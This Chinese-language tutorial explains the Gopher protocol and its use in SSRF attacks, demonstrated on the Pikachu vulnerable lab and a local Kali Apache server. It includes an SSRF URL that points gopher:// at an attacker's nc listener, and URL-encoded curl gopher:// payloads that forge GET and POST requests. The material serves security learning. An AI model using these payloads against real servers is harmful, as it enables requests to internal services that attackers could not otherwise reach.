Gopher协议的学习
定义:
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;(百度百科)
gopher协议格式:
1 | gopher协议 URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 可用于构造Http请求包 |
利用条件

1 | nc -lvp 4444 //kali开启4444端口进行监听 |

通过pikachu靶场演示

1 | http://192.168.159.132/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.159.132/pikachu/vul/ssrf/ssrf_info/info1.php //看到网站url参数为url=一个url 可能存在ssrf漏洞 |
我们可以将url后面的参数改为gopheri协议像目标主机发送数据流
1 | http://192.168.159.132/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://kaliIP:端口号/这是我发送的数据 |

可以看到kali这边成功的接收到了我们通过gopher协议传输的数据
gopher协议发送GET、POST请求
GET请求
步骤
1 | 1、构造HTTP数据包 |
GET型的HTTP数据包
1 | GET /ssrf/base/get.php?url=test HTTP/1.1 |
为了方便我们直接在kali中进行演示
首先进入/var/www/html目录下创建gopher.php
1 | cd /var/www/www |
将php代码写入gopher.php中
1 | <?php echo "Hello ".$_GET["name"]."\n" ?> |
开启apache
1 | systemctl start apache2 //开启apache |
重新打开一个shell
输入命令 这里注意我们使用的是http数据包,我们每次在浏览器输入的参数等,浏览器都会进行url编码以后才会传输.
因此我们需要对输入的命令进行url编码
1 | curl gopher://192.168.159.131:80/_GET%20/gopher.php%3fname=xiaobai%20HTTP/1.1%0d%0AHost:%20192.168.159.131%0d%0A |
1 | 1、问号(?)需要转码为URL编码,也就是%3f |
成功通过get方式发送http数据包

POST请求
同样的方法先在html目录下创建gopher_post.php文件
1 | cd /var/www/www |
php代码
1 | <?php |
post请求包格式
1 | POST /gopher_post.php HTTP/1.1 //请求行 |
这里需要提醒一下,get请求包是没有请求实体的参数直接跟在了uri后面,而post请求包参数是放在请求实体的,具体详细信息可以参考我之前的文章HTTP请求头的学习文章有详细介绍.
url编码后
1 | curl gopher://192.168.159.131:80/_POST%20/gopher_post.php%20HTTP/1.1%0d%0AHost:192.168.159.131%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:13%0d%0A%0d%0Aname=xiaobai%0d%0A |

成功通过post方式发送数据包
注意:POST请求头在原有基础上多增加了Content-Type,Content-Length两个请求头参数.
借鉴文章[Gopher协议在SSRF漏洞中的深入研究(https://zhuanlan.zhihu.com/p/112055947)